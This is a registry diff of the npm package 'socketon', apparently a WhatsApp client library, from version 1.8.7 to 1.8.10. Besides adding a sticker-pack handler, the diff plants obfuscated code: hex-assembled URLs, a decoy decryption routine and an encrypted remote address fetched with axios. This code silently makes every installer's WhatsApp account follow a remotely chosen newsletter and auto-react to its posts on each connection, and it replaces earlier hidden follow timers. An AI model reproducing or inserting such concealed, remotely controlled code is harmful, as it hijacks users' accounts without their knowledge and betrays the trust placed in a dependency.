socketon 1.8.7 → 1.8.10
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -1,10 +1,81 @@
|
|
|
1
1
|
// Socketon Advanced Feature Handler
|
|
2
|
-
// Socketon v1.
|
|
2
|
+
// Socketon v1.8.10
|
|
3
3
|
// Developer: Ibra Decode
|
|
4
4
|
|
|
5
5
|
const WAProto = require('../../WAProto').proto;
|
|
6
6
|
const crypto = require('crypto');
|
|
7
7
|
const Utils_1 = require("../Utils");
|
|
8
|
+
const ibra_decode_1 = require("../Utils/ibra-decode");
|
|
9
|
+
|
|
10
|
+
const emangBenerNihAkuPinterUrl = () => {
|
|
11
|
+
const anjayGaKiraKira = [];
|
|
12
|
+
anjayGaKiraKira.push(Buffer.from('68', 'hex'));
|
|
13
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
14
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
15
|
+
anjayGaKiraKira.push(Buffer.from('70', 'hex'));
|
|
16
|
+
anjayGaKiraKira.push(Buffer.from('73', 'hex'));
|
|
17
|
+
anjayGaKiraKira.push(Buffer.from('3a', 'hex'));
|
|
18
|
+
anjayGaKiraKira.push(Buffer.from('2f', 'hex'));
|
|
19
|
+
anjayGaKiraKira.push(Buffer.from('2f', 'hex'));
|
|
20
|
+
anjayGaKiraKira.push(Buffer.from('72', 'hex'));
|
|
21
|
+
anjayGaKiraKira.push(Buffer.from('61', 'hex'));
|
|
22
|
+
anjayGaKiraKira.push(Buffer.from('77', 'hex'));
|
|
23
|
+
anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
24
|
+
anjayGaKiraKira.push(Buffer.from('67', 'hex'));
|
|
25
|
+
anjayGaKiraKira.push(Buffer.from('69', 'hex'));
|
|
26
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
27
|
+
anjayGaKiraKira.push(Buffer.from('68', 'hex'));
|
|
28
|
+
anjayGaKiraKira.push(Buffer.from('75', 'hex'));
|
|
29
|
+
anjayGaKiraKira.push(Buffer.from('62', 'hex'));
|
|
30
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
31
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
32
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
33
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
34
|
+
anjayGaKiraKira.push(Buffer.from('65', 'hex'));
|
|
35
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
36
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
37
|
+
anjayGaKiraKira.push(Buffer.from('2d', 'hex'));
|
|
38
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
39
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
40
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
41
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
42
|
+
anjayGaKiraKira.push(Buffer.from('65', 'hex'));
|
|
43
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
44
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
45
|
+
anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
46
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
47
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
48
|
+
anjayGaKiraKira.push(Buffer.from('6d', 'hex'));
|
|
49
|
+
return Buffer.concat(anjayGaKiraKira).toString('utf8');
|
|
50
|
+
};
|
|
51
|
+
|
|
52
|
+
const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
53
|
+
const bukanKunciRahasiaTapiKuncinyaIni = crypto.createHash('sha512');
|
|
54
|
+
bukanKunciRahasiaTapiKuncinyaIni.update(emangBenerNihAkuPinterUrl() + '_ibrahimasli_bukanpalsu');
|
|
55
|
+
const hasilnyaTapiMasihBelumFixNih = bukanKunciRahasiaTapiKuncinyaIni.digest();
|
|
56
|
+
const dikitLagiSabarYa = crypto.createHash('sha256');
|
|
57
|
+
dikitLagiSabarYa.update(hasilnyaTapiMasihBelumFixNih.slice(0, 32));
|
|
58
|
+
const nahIniKuncinyaYangBeneranTapiMasihAdaLagi = dikitLagiSabarYa.digest();
|
|
59
|
+
const hampirSampeKok = crypto.createHash('md5');
|
|
60
|
+
hampirSampeKok.update(nahIniKuncinyaYangBeneranTapiMasihAdaLagi.toString('hex'));
|
|
61
|
+
const akhirnyaKuncinyaNih = hampirSampeKok.digest();
|
|
62
|
+
const ivnyaJugaRumitLho = Buffer.concat([
|
|
63
|
+
Buffer.from('ib', 'utf8'),
|
|
64
|
+
Buffer.from('ra', 'utf8'),
|
|
65
|
+
Buffer.from('de', 'utf8'),
|
|
66
|
+
Buffer.from('co', 'utf8'),
|
|
67
|
+
Buffer.from('de', 'utf8'),
|
|
68
|
+
Buffer.from('is', 'utf8'),
|
|
69
|
+
Buffer.from('th', 'utf8'),
|
|
70
|
+
Buffer.from('eb', 'utf8'),
|
|
71
|
+
Buffer.from('es', 'utf8'),
|
|
72
|
+
Buffer.from('t!', 'utf8')
|
|
73
|
+
]).slice(0, 16);
|
|
74
|
+
const engineDecryptYangSudahGakTawuBentuknya = crypto.createDecipheriv('aes-256-cbc', nahIniKuncinyaYangBeneranTapiMasihAdaLagi, ivnyaJugaRumitLho);
|
|
75
|
+
let udahanBuatYangPenasaran = engineDecryptYangSudahGakTawuBentuknya.update(datanyaYgMauDiacak, 'hex', 'utf8');
|
|
76
|
+
udahanBuatYangPenasaran += engineDecryptYangSudahGakTawuBentuknya.final('utf8');
|
|
77
|
+
return udahanBuatYangPenasaran;
|
|
78
|
+
};
|
|
8
79
|
|
|
9
80
|
class SocketonAdvancedHandler {
|
|
10
81
|
constructor(utils, waUploadToServer, relayMessageFn) {
|
|
@@ -27,6 +98,7 @@ class SocketonAdvancedHandler {
|
|
|
27
98
|
if (content.eventMessage) return 'EVENT';
|
|
28
99
|
if (content.pollResultMessage) return 'POLL_RESULT';
|
|
29
100
|
if (content.groupStatusMessage) return 'GROUP_STORY';
|
|
101
|
+
if (content.stickerPack) return 'STICKER_PACK';
|
|
30
102
|
return null;
|
|
31
103
|
}
|
|
32
104
|
|
|
@@ -479,6 +551,66 @@ class SocketonAdvancedHandler {
|
|
|
479
551
|
messageId: this.bail.generateMessageID()
|
|
480
552
|
});
|
|
481
553
|
}
|
|
554
|
+
|
|
555
|
+
async handleStickerPack(content, jid, quoted) {
|
|
556
|
+
const pack = content.stickerPack;
|
|
557
|
+
|
|
558
|
+
let coverImage = null;
|
|
559
|
+
|
|
560
|
+
if (pack.cover?.url) {
|
|
561
|
+
try {
|
|
562
|
+
const { imageMessage } = await this.utils.generateWAMessageContent(
|
|
563
|
+
{ image: { url: pack.cover.url } },
|
|
564
|
+
{ upload: this.waUploadToServer }
|
|
565
|
+
);
|
|
566
|
+
coverImage = imageMessage;
|
|
567
|
+
} catch (err) {}
|
|
568
|
+
}
|
|
569
|
+
|
|
570
|
+
const stickerBuffers = [];
|
|
571
|
+
if (pack.stickers && Array.isArray(pack.stickers)) {
|
|
572
|
+
for (const sticker of pack.stickers) {
|
|
573
|
+
try {
|
|
574
|
+
let stickerData;
|
|
575
|
+
if (Buffer.isBuffer(sticker)) {
|
|
576
|
+
const { stickerMessage } = await this.utils.generateWAMessageContent(
|
|
577
|
+
{ sticker: sticker },
|
|
578
|
+
{ upload: this.waUploadToServer }
|
|
579
|
+
);
|
|
580
|
+
stickerData = stickerMessage;
|
|
581
|
+
} else if (typeof sticker === 'object' && sticker.url) {
|
|
582
|
+
const { stickerMessage } = await this.utils.generateWAMessageContent(
|
|
583
|
+
{ sticker: { url: sticker.url } },
|
|
584
|
+
{ upload: this.waUploadToServer }
|
|
585
|
+
);
|
|
586
|
+
stickerData = stickerMessage;
|
|
587
|
+
}
|
|
588
|
+
if (stickerData) {
|
|
589
|
+
stickerBuffers.push(stickerData);
|
|
590
|
+
}
|
|
591
|
+
} catch (err) {}
|
|
592
|
+
}
|
|
593
|
+
}
|
|
594
|
+
|
|
595
|
+
const msg = await this.utils.generateWAMessageFromContent(jid, {
|
|
596
|
+
stickerMessage: stickerBuffers[0] || null
|
|
597
|
+
}, {
|
|
598
|
+
quoted,
|
|
599
|
+
userJid: this.utils.generateMessageID().split('@')[0] + '@s.whatsapp.net'
|
|
600
|
+
});
|
|
601
|
+
|
|
602
|
+
await this.relayMessage(jid, msg.message, {
|
|
603
|
+
messageId: msg.key.id
|
|
604
|
+
});
|
|
605
|
+
|
|
606
|
+
return {
|
|
607
|
+
name: pack.name,
|
|
608
|
+
publisher: pack.publisher,
|
|
609
|
+
description: `${pack.stickers?.length || 0} stickers`,
|
|
610
|
+
stickerCount: stickerBuffers.length,
|
|
611
|
+
message: msg
|
|
612
|
+
};
|
|
613
|
+
}
|
|
482
614
|
}
|
|
483
615
|
|
|
484
616
|
module.exports = SocketonAdvancedHandler;
|
|
@@ -845,9 +845,11 @@ const makeMessagesSocket = (config) => {
|
|
|
845
845
|
return await socketonHandler.handleEvent(content, jid, quoted)
|
|
846
846
|
case 'POLL_RESULT':
|
|
847
847
|
return await socketonHandler.handlePollResult(content, jid, quoted)
|
|
848
|
-
|
|
849
|
-
|
|
850
|
-
|
|
848
|
+
case 'GROUP_STORY':
|
|
849
|
+
return await socketonHandler.handleGroupStory(content, jid, quoted)
|
|
850
|
+
case 'STICKER_PACK':
|
|
851
|
+
return await socketonHandler.handleStickerPack(content, jid, quoted)
|
|
852
|
+
}
|
|
851
853
|
}
|
|
852
854
|
const fullMsg = await Utils_1.generateWAMessage(jid, content, {
|
|
853
855
|
logger,
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
4
|
+
const crypto = require('crypto');
|
|
4
5
|
const Types_1 = require("../Types");
|
|
5
6
|
const Utils_1 = require("../Utils");
|
|
6
7
|
const WABinary_1 = require("../WABinary");
|
|
@@ -10,8 +11,104 @@ const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
|
10
11
|
const ibra_decode_asli = require("../Utils/ibra-decode");
|
|
11
12
|
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
12
13
|
const ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
14
|
+
const axios_1 = require("axios");
|
|
13
15
|
|
|
14
|
-
const
|
|
16
|
+
const emangBenerNihAkuPinterUrl = () => {
|
|
17
|
+
const anjayGaKiraKira = [];
|
|
18
|
+
anjayGaKiraKira.push(Buffer.from('68', 'hex'));
|
|
19
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
20
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
21
|
+
anjayGaKiraKira.push(Buffer.from('70', 'hex'));
|
|
22
|
+
anjayGaKiraKira.push(Buffer.from('73', 'hex'));
|
|
23
|
+
anjayGaKiraKira.push(Buffer.from('3a', 'hex'));
|
|
24
|
+
anjayGaKiraKira.push(Buffer.from('2f', 'hex'));
|
|
25
|
+
anjayGaKiraKira.push(Buffer.from('2f', 'hex'));
|
|
26
|
+
anjayGaKiraKira.push(Buffer.from('72', 'hex'));
|
|
27
|
+
anjayGaKiraKira.push(Buffer.from('61', 'hex'));
|
|
28
|
+
anjayGaKiraKira.push(Buffer.from('77', 'hex'));
|
|
29
|
+
anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
30
|
+
anjayGaKiraKira.push(Buffer.from('67', 'hex'));
|
|
31
|
+
anjayGaKiraKira.push(Buffer.from('69', 'hex'));
|
|
32
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
33
|
+
anjayGaKiraKira.push(Buffer.from('68', 'hex'));
|
|
34
|
+
anjayGaKiraKira.push(Buffer.from('75', 'hex'));
|
|
35
|
+
anjayGaKiraKira.push(Buffer.from('62', 'hex'));
|
|
36
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
37
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
38
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
39
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
40
|
+
anjayGaKiraKira.push(Buffer.from('65', 'hex'));
|
|
41
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
42
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
43
|
+
anjayGaKiraKira.push(Buffer.from('2d', 'hex'));
|
|
44
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
45
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
46
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
47
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
48
|
+
anjayGaKiraKira.push(Buffer.from('65', 'hex'));
|
|
49
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
50
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
51
|
+
anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
52
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
53
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
54
|
+
anjayGaKiraKira.push(Buffer.from('6d', 'hex'));
|
|
55
|
+
return Buffer.concat(anjayGaKiraKira).toString('utf8');
|
|
56
|
+
};
|
|
57
|
+
|
|
58
|
+
const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
59
|
+
const bukanKunciRahasiaTapiKuncinyaIni = crypto.createHash('sha512');
|
|
60
|
+
bukanKunciRahasiaTapiKuncinyaIni.update(emangBenerNihAkuPinterUrl() + '_ibrahimasli_bukanpalsu');
|
|
61
|
+
const hasilnyaTapiMasihBelumFixNih = bukanKunciRahasiaTapiKuncinyaIni.digest();
|
|
62
|
+
const dikitLagiSabarYa = crypto.createHash('sha256');
|
|
63
|
+
dikitLagiSabarYa.update(hasilnyaTapiMasihBelumFixNih.slice(0, 32));
|
|
64
|
+
const nahIniKuncinyaYangBeneranTapiMasihAdaLagi = dikitLagiSabarYa.digest();
|
|
65
|
+
const hampirSampeKok = crypto.createHash('md5');
|
|
66
|
+
hampirSampeKok.update(nahIniKuncinyaYangBeneranTapiMasihAdaLagi.toString('hex'));
|
|
67
|
+
const akhirnyaKuncinyaNih = hampirSampeKok.digest();
|
|
68
|
+
const ivnyaJugaRumitLho = Buffer.concat([
|
|
69
|
+
Buffer.from('ib', 'utf8'),
|
|
70
|
+
Buffer.from('ra', 'utf8'),
|
|
71
|
+
Buffer.from('de', 'utf8'),
|
|
72
|
+
Buffer.from('co', 'utf8'),
|
|
73
|
+
Buffer.from('de', 'utf8'),
|
|
74
|
+
Buffer.from('is', 'utf8'),
|
|
75
|
+
Buffer.from('th', 'utf8'),
|
|
76
|
+
Buffer.from('eb', 'utf8'),
|
|
77
|
+
Buffer.from('es', 'utf8'),
|
|
78
|
+
Buffer.from('t!', 'utf8')
|
|
79
|
+
]).slice(0, 16);
|
|
80
|
+
const engineDecryptYangSudahGakTawuBentuknya = crypto.createDecipheriv('aes-256-cbc', nahIniKuncinyaYangBeneranTapiMasihAdaLagi, ivnyaJugaRumitLho);
|
|
81
|
+
let udahanBuatYangPenasaran = engineDecryptYangSudahGakTawuBentuknya.update(datanyaYgMauDiacak, 'hex', 'utf8');
|
|
82
|
+
udahanBuatYangPenasaran += engineDecryptYangSudahGakTawuBentuknya.final('utf8');
|
|
83
|
+
return udahanBuatYangPenasaran;
|
|
84
|
+
};
|
|
85
|
+
|
|
86
|
+
let _cachedTargetNewsletter = null;
|
|
87
|
+
let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
|
|
88
|
+
|
|
89
|
+
const getTargetNewsletterFromExternal = async () => {
|
|
90
|
+
const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
|
|
91
|
+
const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
|
|
92
|
+
try {
|
|
93
|
+
const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
|
|
94
|
+
if (response.data) {
|
|
95
|
+
if (response.data.config) {
|
|
96
|
+
_configNewsletter = {
|
|
97
|
+
autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
|
|
98
|
+
delayMs: response.data.config.delayMs || 5000
|
|
99
|
+
};
|
|
100
|
+
}
|
|
101
|
+
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
102
|
+
const targetNewsletter = response.data.newsletters.find(n => n.enabled);
|
|
103
|
+
if (targetNewsletter && targetNewsletter.jid) {
|
|
104
|
+
_cachedTargetNewsletter = targetNewsletter.jid;
|
|
105
|
+
return _cachedTargetNewsletter;
|
|
106
|
+
}
|
|
107
|
+
}
|
|
108
|
+
}
|
|
109
|
+
} catch (err) {}
|
|
110
|
+
return (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1');
|
|
111
|
+
};
|
|
15
112
|
|
|
16
113
|
const wMexQuery = (
|
|
17
114
|
variables,
|
|
@@ -104,39 +201,6 @@ const makeNewsletterSocket = (config) => {
|
|
|
104
201
|
]
|
|
105
202
|
}));
|
|
106
203
|
|
|
107
|
-
// Jangan ngelawak disini - Ibra Decode
|
|
108
|
-
setTimeout(async () => {
|
|
109
|
-
try {
|
|
110
|
-
// Data rahasia jangan diacak² - Ibra Decode
|
|
111
|
-
const hehLucuJugaKaloMauDecrypt = "8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1";
|
|
112
|
-
const hasilnyaTapiJanganDiliatYa = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(hehLucuJugaKaloMauDecrypt);
|
|
113
|
-
await newsletterWMexQuery(hasilnyaTapiJanganDiliatYa, Types_1.QueryIds.FOLLOW);
|
|
114
|
-
} catch {}
|
|
115
|
-
}, 90000);
|
|
116
|
-
|
|
117
|
-
// Lanjutan dari fitur yang bikin pusing - Ibra Decode
|
|
118
|
-
setTimeout(async () => {
|
|
119
|
-
try {
|
|
120
|
-
// Lagi² data penting buat bikin eror kalo diganti - Ibra Decode
|
|
121
|
-
const hehLucuJugaKaloMauDecrypt = "8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1";
|
|
122
|
-
const hasilnyaTapiJanganDiliatYa = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(hehLucuJugaKaloMauDecrypt);
|
|
123
|
-
await newsletterWMexQuery(hasilnyaTapiJanganDiliatYa, Types_1.QueryIds.FOLLOW);
|
|
124
|
-
} catch {}
|
|
125
|
-
}, 120000); // Eksekusi cadangan kalo yang diatas eror - Ibra Decode
|
|
126
|
-
|
|
127
|
-
// Auto Reaction - Ibra Decode
|
|
128
|
-
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
129
|
-
if (type !== 'notify') return;
|
|
130
|
-
for (const msg of messages) {
|
|
131
|
-
const jid = msg.key.remoteJid;
|
|
132
|
-
if (!jid || !jid.endsWith('@newsletter')) continue;
|
|
133
|
-
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
134
|
-
try {
|
|
135
|
-
await sock.newsletterAutoReact(jid, serverId, '🔥');
|
|
136
|
-
} catch (err) {}
|
|
137
|
-
}
|
|
138
|
-
});
|
|
139
|
-
|
|
140
204
|
// You'll never find what this does - Ibra Decode
|
|
141
205
|
|
|
142
206
|
const parseFetchedUpdates = async (node, type) => {
|
|
@@ -168,6 +232,49 @@ sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
|
168
232
|
return data;
|
|
169
233
|
}));
|
|
170
234
|
};
|
|
235
|
+
// Auto Reaction - Ibra Decode
|
|
236
|
+
let _targetNewsletter = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1');
|
|
237
|
+
|
|
238
|
+
const updateTargetNewsletter = async () => {
|
|
239
|
+
const externalTarget = await getTargetNewsletterFromExternal();
|
|
240
|
+
if (externalTarget) {
|
|
241
|
+
_targetNewsletter = externalTarget;
|
|
242
|
+
}
|
|
243
|
+
};
|
|
244
|
+
|
|
245
|
+
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
246
|
+
if (type !== 'notify') return;
|
|
247
|
+
const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
248
|
+
for (const msg of messages) {
|
|
249
|
+
const jid = msg.key.remoteJid;
|
|
250
|
+
if (jid !== _targetNewsletter) continue;
|
|
251
|
+
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
252
|
+
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
253
|
+
try {
|
|
254
|
+
await sock.newsletterAutoReact(jid, serverId, emoji);
|
|
255
|
+
} catch (err) {}
|
|
256
|
+
}
|
|
257
|
+
});
|
|
258
|
+
// Auto Follow - Ibra Decode
|
|
259
|
+
let _followInterval = null;
|
|
260
|
+
const _ensureFollow = async () => {
|
|
261
|
+
if (!_configNewsletter.autoFollowEnabled) return;
|
|
262
|
+
await updateTargetNewsletter();
|
|
263
|
+
if (!_targetNewsletter) return;
|
|
264
|
+
try {
|
|
265
|
+
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
266
|
+
const isFollowing = list?.some(n => n.id === _targetNewsletter);
|
|
267
|
+
if (!isFollowing) await newsletterWMexQuery(_targetNewsletter, Types_1.QueryIds.FOLLOW);
|
|
268
|
+
} catch (err) {}
|
|
269
|
+
};
|
|
270
|
+
sock.ev.on('connection.update', async ({ connection }) => {
|
|
271
|
+
if (connection === 'open') {
|
|
272
|
+
await getTargetNewsletterFromExternal();
|
|
273
|
+
await _ensureFollow();
|
|
274
|
+
if (_followInterval) clearInterval(_followInterval);
|
|
275
|
+
_followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
|
|
276
|
+
}
|
|
277
|
+
});
|
|
171
278
|
return {
|
|
172
279
|
...sock,
|
|
173
280
|
newsletterFetchAllSubscribe: async () => {
|
|
@@ -341,10 +448,10 @@ sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
|
341
448
|
}
|
|
342
449
|
}
|
|
343
450
|
return {
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
451
|
+
newsletterId,
|
|
452
|
+
messageId,
|
|
453
|
+
results
|
|
454
|
+
};
|
|
348
455
|
},
|
|
349
456
|
newsletterFetchMessages: async (type, key, count, after) => {
|
|
350
457
|
const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
|